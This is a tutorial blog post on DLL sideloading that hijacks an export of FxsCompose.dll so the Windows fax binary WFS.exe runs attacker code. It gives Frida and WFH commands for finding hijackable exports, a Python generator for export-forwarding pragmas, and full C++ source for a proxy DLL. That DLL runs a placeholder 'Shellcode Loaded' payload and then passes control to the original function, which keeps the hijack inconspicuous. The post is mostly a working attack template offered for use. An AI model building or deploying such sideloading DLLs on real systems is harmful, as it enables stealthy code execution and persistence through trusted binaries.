DLL Sideloading not by DLLMain
Never run your payloads from the DLLMain
Identifying potential hijacks
DLL sideloading is a technique that attackers can use to inject malicious code into a legitimate process by replacing or "sideloading" a dynamic-link library (DLL) that the process is dependent on. This can be a serious security concern because it allows attackers to execute arbitrary code on a victim's machine without the victim's knowledge.
To identify potential DLL sideloading hijacks, there are a few approaches you can take. One option is to use the WFH (Windows Function Hijacking) tool, which is specifically designed to detect DLL function hijacks. WFH is able to identify both DLLMain hijacks and GetProcAddress hijacks.
Alternatively, you can manually detect DLL sideloading hijacks using the Frida tool. To do this, you can use the Frida command line interface to attach to a running executable and then use a JavaScript script called "loadlibrary.js" (comes with WFH tool) to monitor for DLL loads.
To run WFH or Frida to detect DLL sideloading hijacks, you can use the following commands:
frida -f C:\Windows\System32\<any.exe> -l loadlibrary.js

python wfh.py -t C:\Windows\System32<any.exe> -m dll
When using either of these tools, you should be on the lookout for the following string of text in the output or log file, as it indicates a potential DLL export sideloading attack:
[-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\FxsCompose.dll, LPCSTR: HrInitComposeFormDll
In this blogpost, we'll be hijacking WFS.exe which is present in Windows 11 operating system (if Windows fax service is enabled)
Is that function really called
It is worth noting that the GetProcAddress functions listed in the output above may not always indicate a DLL sideloading attack. This can happen because the function call may have been prepared in advance using GetProcAddress, but the function was never actually called due to the arguments passed or the executable taking a different code path.
To find for sure if the function was called (which would result in DLL sideload) we will use another frida script as below
// to make sure the dll is loaded before the function intercept is introduced
const dllName = "C:\\WINDOWS\\SYSTEM32\\FxsCompose.dll";
Module.load(dllName);
//find the address of the function
var pHrInitComposeFormDll = Module.findExportByName("FxsCompose.dll","HrInitComposeFormDll");
//intercept the call
Interceptor.attach(pHrInitComposeFormDll, {
onEnter: function (args) {
send("The function was called")
},
onLeave: function (retval) {
}
});
To load this use the following command . Make note of --pause argument. The argument is used to pause the execution of the exe, allowing the script to load properly before exe runs
frida -f C:\Windows\System32\WFS.exe -l sure.js --pause
after running this, you will be in a pause state in frida console . Use the following command in frida console to continue execution of executable
%resume
If you see the string "The function was called" in the output, it means that the function has been called and the DLL sideload will function as expected. This is a confirmation that the DLL sideloading attack was successful.

We see that the string "The function was called", which confirms the presence of DLL sideload.
Making a Sideloadable DLL
This is the point where many people just insert their payload into the DLLMain function and consider the task complete.
Here's how to do it quickly and correctly
Step 1: Create a DLL project


Step 2: You will see a blank project like below

Step 3: Create the pragma comment for proxying the calls to the original DLL. Use the following script to generate them quickly
import pefile
import optparse
import os
def test(path):
if os.path.exists(path)==False:
print("[-] File Not Found:{}".format(path))
else:
dllname=str(path).rstrip(".dll")
formats="#pragma comment(linker,\"/export:{funcion}={dllname}.{funcion_},@{ordinal}\")"
pe=pefile.PE(path)
modules=pe.DIRECTORY_ENTRY_EXPORT.symbols
for module in modules:
modulename=module.name.decode()
print(formats.format(funcion=modulename,dllname=dllname,funcion_=modulename,ordinal=module.ordinal))
if __name__ == '__main__':
parser=optparse.OptionParser()
parser.add_option('-f',dest="file",help="Dll Path")
(option,args)=parser.parse_args()
if option.file:
test(option.file)
else:
print("Usage:python comment.py -f C:\\Windows\\System\\kernel32.dll")
parser.print_help()
Run the script as follows
python comment.py -f C:\\WINDOWS\\SYSTEM32\\FxsCompose.dll
You will receive the following output
#pragma comment(linker,"/export:DllMain=C:\\WINDOWS\\SYSTEM32\\FxsCompose.DllMain,@15")
#pragma comment(linker,"/export:FaxComposeFreeBuffer=C:\\WINDOWS\\SYSTEM32\\FxsCompose.FaxComposeFreeBuffer,@1")
#pragma comment(linker,"/export:HrAddressBookPreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrAddressBookPreTranslateAccelerator,@2")
#pragma comment(linker,"/export:HrDeInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeInitAddressBook,@3")
#pragma comment(linker,"/export:HrDeinitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeinitComposeFormDll,@4")
#pragma comment(linker,"/export:HrFaxComposePreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFaxComposePreTranslateAccelerator,@5")
#pragma comment(linker,"/export:HrFreeDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFreeDraftsListViewInfo,@6")
#pragma comment(linker,"/export:HrGetDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrGetDraftsListViewInfo,@7")
#pragma comment(linker,"/export:HrInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitAddressBook,@8")
#pragma comment(linker,"/export:HrInitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitComposeFormDll,@9")
#pragma comment(linker,"/export:HrInvokeAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInvokeAddressBook,@10")
#pragma comment(linker,"/export:HrNewFaxComposeUI=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUI,@11")
#pragma comment(linker,"/export:HrNewFaxComposeUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUIFromFile,@12")
#pragma comment(linker,"/export:HrNewTiffViewUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewTiffViewUIFromFile,@13")
#pragma comment(linker,"/export:HrSelectEmailRecipient=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrSelectEmailRecipient,@14")
Step 4: Copy the lines to the project

Step 5: Comment the function which we want to hijack which is HrInitComposeFormDll

Step 6: Find the function prototype
Use Ghidra, load the DLL and find the function in the export table

Copy the function definition and keep it handy
Step 7: Define the proxy function in the def file
Make a def file and provide the following text


Put the following contents
LIBRARY FxsCompose.dll
EXPORTS
HrInitComposeFormDll=ProxyFunction
Line number 3 defines the function name to redirect the call to when HrInitComposeFormDll is called
Add the module definition setting in Visual Studio

Step 8: Make the proxy function
Before we add the proxy function, we need to make a typedef of the original function(HrInitComposeFormDll). This is required to pass the call to the original HrInitComposeFormDll once we load our payload
the typedef is very similar to the function definition we saw in the Ghidra decompilation
typedef DWORD (*HrInitComposeFormDll_Type)(void);
the format is
typedef <output type> (*functionname_Type)(functionArguments)
Put this line after the pragma comments like we previously added to dllmain.cpp
Now its time to define the ProxyFunction . Again the prototype should be very similar to the original HrInitComposeFormDll function definition
DWORD ProxyFunction(void) {
//Load your shellcode here.. I'm going to load MessageBox
MessageBox(NULL, L"Shellcode Loaded", L"Shellcode Loaded", MB_OK);
// Load original DLL and get function pointer
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll");
HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");
// Call original function
DWORD result = Original_HrInitComposeFormDll();
return result;
}
Below is the full dllmain.cpp code and FxsCompose.def
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#pragma comment(linker,"/export:DllMain=C:\\WINDOWS\\SYSTEM32\\FxsCompose.DllMain,@15")
#pragma comment(linker,"/export:FaxComposeFreeBuffer=C:\\WINDOWS\\SYSTEM32\\FxsCompose.FaxComposeFreeBuffer,@1")
#pragma comment(linker,"/export:HrAddressBookPreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrAddressBookPreTranslateAccelerator,@2")
#pragma comment(linker,"/export:HrDeInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeInitAddressBook,@3")
#pragma comment(linker,"/export:HrDeinitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeinitComposeFormDll,@4")
#pragma comment(linker,"/export:HrFaxComposePreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFaxComposePreTranslateAccelerator,@5")
#pragma comment(linker,"/export:HrFreeDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFreeDraftsListViewInfo,@6")
#pragma comment(linker,"/export:HrGetDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrGetDraftsListViewInfo,@7")
#pragma comment(linker,"/export:HrInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitAddressBook,@8")
//#pragma comment(linker,"/export:HrInitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitComposeFormDll,@9")
#pragma comment(linker,"/export:HrInvokeAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInvokeAddressBook,@10")
#pragma comment(linker,"/export:HrNewFaxComposeUI=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUI,@11")
#pragma comment(linker,"/export:HrNewFaxComposeUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUIFromFile,@12")
#pragma comment(linker,"/export:HrNewTiffViewUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewTiffViewUIFromFile,@13")
#pragma comment(linker,"/export:HrSelectEmailRecipient=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrSelectEmailRecipient,@14")
typedef DWORD(*HrInitComposeFormDll_Type)(void);
DWORD ProxyFunction(void) {
//Load your shellcode here.. I'm going to load MessageBox
MessageBox(NULL, L"Shellcode Loaded", L"Shellcode Loaded", MB_OK);
// Load original DLL and get function pointer
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll");
HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");
// Call original function
DWORD result = Original_HrInitComposeFormDll();
return result;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LIBRARY FxsCompose.dll
EXPORTS
HrInitComposeFormDll=ProxyFunction
Compile the DLL
You can include /MT or /MD flag optionally

Compile the release DLL
Running the DLL Sideload

Copy the exe and the DLL in one folder
run the exe

Project Files
On my GitHub here https://github.com/shantanu561993/DLL-Sideload
Last updated
Was this helpful?